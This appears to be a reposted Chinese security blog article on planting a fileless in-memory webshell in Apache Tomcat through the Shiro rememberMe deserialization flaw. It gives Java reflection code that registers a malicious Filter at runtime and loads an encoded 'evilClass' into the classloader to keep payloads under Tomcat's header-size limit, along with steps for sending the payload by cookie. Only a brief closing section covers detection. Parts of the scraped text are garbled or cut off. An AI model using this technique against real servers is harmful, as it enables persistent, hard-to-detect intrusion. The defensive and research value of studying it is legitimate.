tomcat结合shiro无文件webshell的技术研究以及检测方法
2021-02-09 14:18
标签:war gets 合成 size 反射 发送 使用 get 精简 shiro结合tomcat回显,使用公开的方法,回显大多都会报错。因为生成的payload过大,而tomcat在默认情况下,接收的最大http头部大小为8192。如果超过这个大小,则tomcat会返回400错误。而某些版本tomcat可以通过payload修改maxHttpHeaderSize,而某些又不可以。所以我们要想办法解决这个很麻烦,并顺便实现tomcat的内存马,用来持久化shell。 我的测试环境如下: 环境安装配置就不在这里详细描述,该分享主要围绕着以下主题分享: Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。 当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。 当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。 如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。 用户在请求tomcat的资源的时候,会调用ApplicationFilterFactory的createFilterChain方法,根据web.xml的Filter配置,去生成Filter链。主要代码如下 首先获取当前context,并从context中获取FilterMap。FIlterMap的数据结构如下 继续往下分析代码,遍历FilterMap中每一项,调用matchFiltersURL这个函数,去确定请求的url和Filter中需要拦截的正则表达式是否匹配。 如果匹配的话,则通过context.findFilterConfig方法去查找filter对应的名称。filterConfig的数据结构如下 随后将filterConfig添加到Filter.chain中。 下面我们看一下ApplicationFilterChain.internalDoFilter方法,简化后的代码如下 在这里我们可以很清楚的看到,从刚才的FilterChain中,遍历每一项FilterConfig,然后获取FIlterConfig对应的filter,最后调用我们熟悉的filter.doFilter方法。 可以用如下流程图来方便我们理解这个过程 可以看出,如果需要动态注册一个Filter,结合上面的分析,我们可以发现,只要修改context相关字段,即可完成动态注册一个Filter。好消息是,context已经帮我们实现了相关方法,我们就没有必要去通过反射等手段去修改。 可以通过MBean的方式去获取当前context,我们查看一下tomcat的MBean 相关代码如下 当然,还有很多种办法,这里只是一个例子 首先我们实例化一个FilterDef,FilterDef的作用主要为描述filter名称与Filter实例的关系。注意,在后面调用context.FilterMap的时候会校验FilterDef,所以我们需要先设置FilterDef FilterMap的作用建立filter的url拦截与FilterDef的关系。在这里我们需要设置加载的filter都拦截什么url。代码如下 这里很简单,最后我们需要添加ApplicationFIlterConfig就可以了,代码如下 在上一步种,我们是无法成功的,因为payload过大,超过tomcat的限制。会导致tomcat报400 bad request错误。我们仔细分析可知,因为payload种需要加载Filter的class bytes。这一部分最小最小还需要3000多。所以我们需要将Filter的class byte,想办法加载至系统中。可以缩小我们动态加载Filter的payload大小。 在这里我们先学习以下 主要是获取protectDomain等相关信息。然后调用 在 最终通过 将class bytes使用gzip+base64压缩编码,代码如下 payload中,我们寻找当前classloader,调用defineclass,将类字节码转换成一个类,代码如下 加载完成后,将evilClass加载到classloader的classes字段中,这步通过反射完成 首先我们将自己写的Filter,加载到 运行我们的工具,生成payload 下一步动态注册一个Filter, 我们可以看出,这两步生成的payload大小都没有超过tomcat的 tomcat结合shiro无文件webshell的技术研究以及检测方法 标签:war gets 合成 size 反射 发送 使用 get 精简 原文地址:https://www.cnblogs.com/potatsoSec/p/13060261.html0x01简介
0x02 Filter
1. Filter的基本工作原理
2. Filter 链
3. Tomcat中请求Filter的流程
filterChain.setServlet(servlet);
filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
String servletName = wrapper.getName();
FilterMap[] arr$ = filterMaps;
int len$ = filterMaps.length;
int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
boolean isCometFilter;
for(i$ = 0; i$
我们可以看到,FilterMap存放了Filter的名称和需要拦截的url的正则表达式。 ApplicationFilterConfig filterConfig = this.filters[this.pos++];
Filter filter = null;
filter = filterConfig.getFilter();
this.support.fireInstanceEvent("beforeFilter", filter, request, response);
filter.doFilter(request, response, this);
this.support.fireInstanceEvent("afterFilter", filter, request, response);
4. tomcat实现
4.1 获取context
idea中查看一下Registry.getRegistry((Object) null, (Object) null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("context=/samples_web_war,host=localhost,name=NonLoginAuthenticator,type=Valve").object.resource.context
4.2 添加filterdef到context
Object filterDef = Class.forName("FilterDef").newInstance();
// 设置过滤器名称
Method filterDefsetFilterName = Class.forName("FilterDef").getMethod("setFilterName", String.class);
filterDefsetFilterName.invoke(filterDef, "test");
// 实例化Filter,也就是第一阶段我们加载的那个filter,通过Class.forname查找
Method filterDefsetFilter = Class.forName("FilterDef").getMethod("setFilter", Filter.class);
//通过class.forname查找我们待加载的Filter,后面调用newInstance实例化
Class evilFilterClass = Class.forName("testFilter1");
filterDefsetFilter.invoke(filterDef, evilFilterClass.newInstance());
4.3 添加filtermap到context
Object filterMap = Class.forName("FilterMap").newInstance();
Method filterMapaddURLPattern = Class.forName("FilterMap").getMethod("addURLPattern", String.class);
filterMapaddURLPattern.invoke(filterMap, "/*");
// 设置filter的名字为test
Method filterMapsetFilterName = Class.forName("FilterMap").getMethod("setFilterName", String.class);
filterMapsetFilterName.invoke(filterMap, "test");
4.4 添加ApplicationFilterConfig至context
Field contextfilterConfigs = context.getClass().getDeclaredField("filterConfigs");
HashMap filterConfigs = (HashMap) contextfilterConfigs.get(context);
Constructor>[] filterConfigCon =
Class.forName("ApplicationFilterConfig").getDeclaredConstructors();
filterConfigs.put("test", filterConfigCon[0].newInstance(context, filterDef));
0x02 类加载器的相关知识点
1.1 class.forname
class.forname
这个方法,查看openjdk的相关源码
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java#l374class.forname
会获取调用方的classloader,然后调用forName0
,从调用方的classloader中查找类。当然,这是一个native方法,精简后源码如下
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/native/libjava/Class.c#l104 Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
jboolean initialize, jobject loader, jclass caller)
{
char *clname;
jclass cls = 0;
clname = classname;
cls = JVM_FindClassFromCaller(env, clname, initialize, loader, caller);
return cls;
}
JVM_FindClassFromClassler
的代码在如下位置
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cppJVM_ENTRY(jclass, JVM_FindClassFromCaller(JNIEnv* env, const char* name,
jboolean init, jobject loader,
jclass caller))
JVMWrapper("JVM_FindClassFromCaller throws ClassNotFoundException");
TempNewSymbol h_name =
SystemDictionary::class_name_symbol(name, vmSymbols::java_lang_ClassNotFoundException(),
CHECK_NULL);
oop loader_oop = JNIHandles::resolve(loader);
oop from_class = JNIHandles::resolve(caller);
oop protection_domain = NULL;
if (from_class != NULL && loader_oop != NULL) {
protection_domain = java_lang_Class::as_Klass(from_class)->protection_domain();
}
Handle h_loader(THREAD, loader_oop);
Handle h_prot(THREAD, protection_domain);
jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
h_prot, false, THREAD);
return result;
JVM_END
find_class_from_class_loader
,代码如下
jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init,
Handle loader, Handle protection_domain,
jboolean throwError, TRAPS) {
Klass* klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);
// Check if we should initialize the class
if (init && klass->is_instance_klass()) {
klass->initialize(CHECK_NULL);
}
return (jclass) JNIHandles::make_local(env, klass->java_mirror());
}
SystemDictionary::resolve_or_fail
会判断查找的类是不是属于数组,对于咱们来讲,肯定不是数组,所以,我们主要来分析systemDictionary::resolve_instance_class_or_null
代码如下 class_loader = Handle(THREAD, java_lang_ClassLoader::non_reflection_class_loader(class_loader()));
ClassLoaderData* loader_data = register_loader(class_loader);
Dictionary* dictionary = loader_data->dictionary();
unsigned int d_hash = dictionary->compute_hash(name);
{
InstanceKlass* probe = dictionary->find(d_hash, name, protection_domain);
if (probe != NULL) return probe;
}
dictionary->find
方法去查找类,看代码,其实也就是查找classloader的classes字段。
idea中查看这个字段。可以看出这里存储了很多类的Class,我们只需要将defineClass的结果,添加到classloader的classes字段中即可。1.2 实现
这一步会用到大量的反射BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "base64+gzip编码后的类";
ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Class evilClass = (Class) defineClass.invoke(currentClassloader, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
Field currentCladdloaderClasses = Thread.currentThread().getContextClassLoader().getClass().getDeclaredField("classes");
Vector classes = (Vector) currentCladdloaderClasses.get(currentClassloader);
classes.add(0, evilClass);
0x03 成果检验
classloader
中Filter
的代码如下
通过burp发送出去maxHttpHeaderSize
。将生成的remember复制到cookies即可执行,结果如下0x04 Filter类型的内存马查杀
3. 点击我们的tomcat,查看Catalina/Filter
节点中的数据,检查是否存在我们不认识的,或者没有在web.xml中配置的filter,或者filterClass为空的Filter,如图0x05 参考
上一篇:HTML——1.基本结构
下一篇:JSP环境搭建以及入门
文章标题:tomcat结合shiro无文件webshell的技术研究以及检测方法
文章链接:http://soscw.com/essay/53126.html